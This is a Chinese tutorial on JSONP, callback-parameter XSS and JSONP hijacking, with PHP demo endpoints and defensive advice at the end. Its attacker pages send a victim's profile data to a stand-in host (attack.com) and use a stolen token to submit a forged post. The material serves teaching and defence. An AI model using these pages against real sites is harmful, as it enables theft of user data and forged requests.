当前位置: 首页 > news >正文

优秀网站的链接做教育培训的网站

优秀网站的链接,做教育培训的网站,wordpress 二次元,个人微信公众号怎么做微网站吗JSONP 介绍 jsonp是一种协议#xff0c;准确的说#xff0c;他是json的一种使用模式#xff0c;为了解决Json受同源策略限制的问题。 基本语法 JSONP的基本语法为#xff1a;callback({“name”:”test”, “msg”:”success”}) 常见的例子包括函数调用#xff08;如…JSONP 介绍 jsonp是一种协议准确的说他是json的一种使用模式为了解决Json受同源策略限制的问题。 基本语法 JSONP的基本语法为callback({“name”:”test”, “msg”:”success”}) 常见的例子包括函数调用如callback({“a”:”b”})或变量赋值var a{JSON data}。 应用场景 json 假设在192.168.7.166下放了一个test.json { username: Sentiment, password: 123456 }这时192.168.7.166下的html文件需要发送AJAX请求去访问这个test.json文件 script src./jquery.js/script script $.ajax({url: http://192.168.7.166/test.json,type:get, dataType: json,success: function (data) {console.log(data);}}) /script此时该HTML文件和test.json同域所以HTML文件能够正常获取json文件的内容。 若将test.json放到192.168.43.136下HTML与test.json不同域这时去访问jsonp.html发现受同源策略限制被拒绝 这时就需要用到jsonp来解决这个问题 jsonp jsonp简单地说就是利用script标签的src属性能够发起跨域请求的原理来实现的。 因此只需将test.json中的内容按照javascript规范去规定便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法并带入参数即可这也就是jsonp的核心原理。 body scriptfunction callback(data){alert(name:data.username passwrod:data.password);} /script script srchttp://192.168.43.136/test.json/script /body在test.json中按照javascript代码规范调用callback函数并将数据作为参数传入 callback({ username: Sentim, password: 123456 })此时请求jsonp.html成功请求跨域json JSONP跨域漏洞 JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。 callback自定义导致的XSS 我们知道在JSONP跨域中我们是可以传入一个函数名的参数如callback然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。 如果JSONP端点对于用于传入的函数名参数callback处理不当如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时就会导致XSS漏洞的产生。 jsonp.php ?php if(isset($_GET[callback])){$callback $_GET[callback];print $callback.({username : Sentiment, password : 123456});; } else {echo No callback param.; } ?请求后触发xss此时发现php默认的content-type为text/html 起初使用Java部署了这个环境但由于未对Servlet容器的content-type进行默认设置默认为null导致没有弹窗 其它content-type类型 经测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS JSONP劫持 因为jsonp实现了跨域资源访问如果获取的数据能够成为下一步操作的凭证那么便可以引起jsonp劫持。 Demo1— 窃取用户信息 设置模拟用户登录页面 login.php ?php error_reporting(0); session_start(); $name $_GET[name]; $pwd $_GET[pwd]; if($nameadmin $pwd admin || $nameguest $pwd guest){$_SESSION[name] $name; } if (isset($_GET[logout])) {if ($_GET[logout] 1) {unset($_SESSION[name]);} } echo a hrefhttp://victim.com/info.php?callbackjsonp用户信息/abr; echo a hrefhttp://victim.com/main.php?logout1退出登录/abr data-tomark-pass; if(!$_SESSION[name]){echo htmlheadtitle登录/titlemeta charsetutf-8/headbodyform actionlogin.php methodget用户名input typetext namename密码input typepassword namepwdinput typesubmit namesubmit valuelogin/form/body/html; }else{echo 欢迎您, .$_SESSION[name].br data-tomark-pass; } ?查询信息页面 info.php ?php header(Content-type: application/json); error_reporting(0); session_start(); $callback $_GET[callback]; if($_SESSION[name] admin){echo $callback.({id:1,name:Sentiment}); } elseif($_SESSION[name] guest) {echo $callback.({id:2,name:guest}); } else {echo $callback.获取个人信息失败; } ?当用户登录后访问info.php便能查询到自己的信息此时构造恶意html html headtitlelol/titlemeta charsetutf-8 /head script srchttps://code.jquery.com/jquery-3.6.0.min.js/script scriptfunction jsonp_hack(v){alert(JSONP hijacking);var h ;for(var key in v){var a ;a key : v[key] ,;h a;}alert(h);$.get(http://attack.com/index.html?valueh);} /script script srchttp://victim.com/info.php?callbackjsonp_hack/script bodyh1Welcome/h1 /body /html引导用户访问后成功被jsonp劫持 Demo2— 劫持token 下面的示例模拟通过JSONP劫持窃取token来发表文章的情形。 add_article.php放置于目标服务器中功能是发表文章前提是token值成功校验通过 ?php if(!empty($_POST[token])){$csrf_token $_POST[token];$title $_POST[title];$content $_POST[content];if ($csrf_token jsonp_test){echo 文章发表成功~./br;echo $title./br;echo $content;}else{echo csrf token error;} } else {echo no token; } ?token.php ?php header(Content-type: application/json); if(isset($_GET[callback])){$callback $_GET[callback];print $callback.({username : Sentiment, password : 123456, token : jsonp_test});; } else {echo No callback param.; } ?attack.html攻击者用于诱使用户访问的文件放置于攻击者服务器中用于访问目标JSONP端点获取token之后再带上该token向目标服务器的add_article.php发起请求来发表文章 html head titleJSONP Hijacking/title meta charsetutf-8 /head body form actionhttp://victim.com/add_article.php methodPOST idcsrfsend input typehidden namecontent valueHacked by Sentiment! input typehidden nametitle valueOops! input typehidden idtoken nametoken value /form script typetext/javascript function exp(obj){console.log(obj);var token obj[token];document.getElementById(token).value token;document.getElementById(csrfsend).submit(); } /script script typetext/javascript srchttp://victim.com/token.php?callbackexp/script /body /html引导用户访问后成功劫持token 防御 若可行则使用CORS替换JSONP实现跨域功能应用CSRF防御措施来调用JSON文件限制Referer 、部署Token等严格设置Content-Type及编码Content-Type: application/json; charsetutf-8 把回调函数加入到白名单 参考链接 http://www.mi1k7ea.com/2019/08/20/JSONP%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/ https://zhengbao.wang/jsonp%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E/ JSONP与JSONP劫持漏洞的学习 - 先知社区 (aliyun.com)
http://www.zqtcl.cn/news/290046/

相关文章:

  • 怎么看网站被惩罚专业的网站建设流程
  • 如何制作手机免费网站模板下载用户体验设计师是什么
  • php网站建设基本流程基于php网站开发设计
  • 建设一个网站需要哪些软硬件条件无做弊的棋牌游戏网站
  • 最有设计感的网站扬中网站建设 优帮云
  • 企业建设银行网站登录不了wordpress需要ftp
  • 广州营销型网站建设团队专业建设内涵包括哪些内容
  • 网站如何做响应式布局外国网站上做Task
  • 知乎网站建设入门书大渡口集团网站建设
  • 免费网站建设是什么宁波网站建设的价格表
  • 网站设计导航栏高度网站设计的经营范围
  • 帮别人建设网站多少利润北京网站建设公司华网制作作
  • 微信网站需要备案吗瑞安商业网站建设
  • 做网站如何计算工资wordpress stheme
  • 网站建设销售人才简历wordpress 搜索tag
  • 设计网站专业云南旅行社网站开发
  • 小规模开普票网站建设几个点张浦专业做网站
  • 点击图片跳转到网站怎么做链接网址后缀名大全
  • php网站开发优化crm客户系统
  • 韩国网站免费模板wordpress数据库名称
  • 如何修改网站发布时间贵阳网站建设报价
  • 东莞网站推广培训免费云电脑
  • 湖北网站建设详细方案脑叶公司手机版下载
  • 淄博网站制作平台形象怎样建设旅游网站
  • 广州花都网站建设网站改版协议
  • 中国建设协会网站首页工信部网站备案被删除
  • 丹阳网站建设案例dedecms 购物网站
  • 网站上怎么做动画广告视频下载seo黑帽是什么意思
  • 服装网站建设网综合社区网站开发费用
  • 做网站预付款 怎么做账做律师网站的网络公司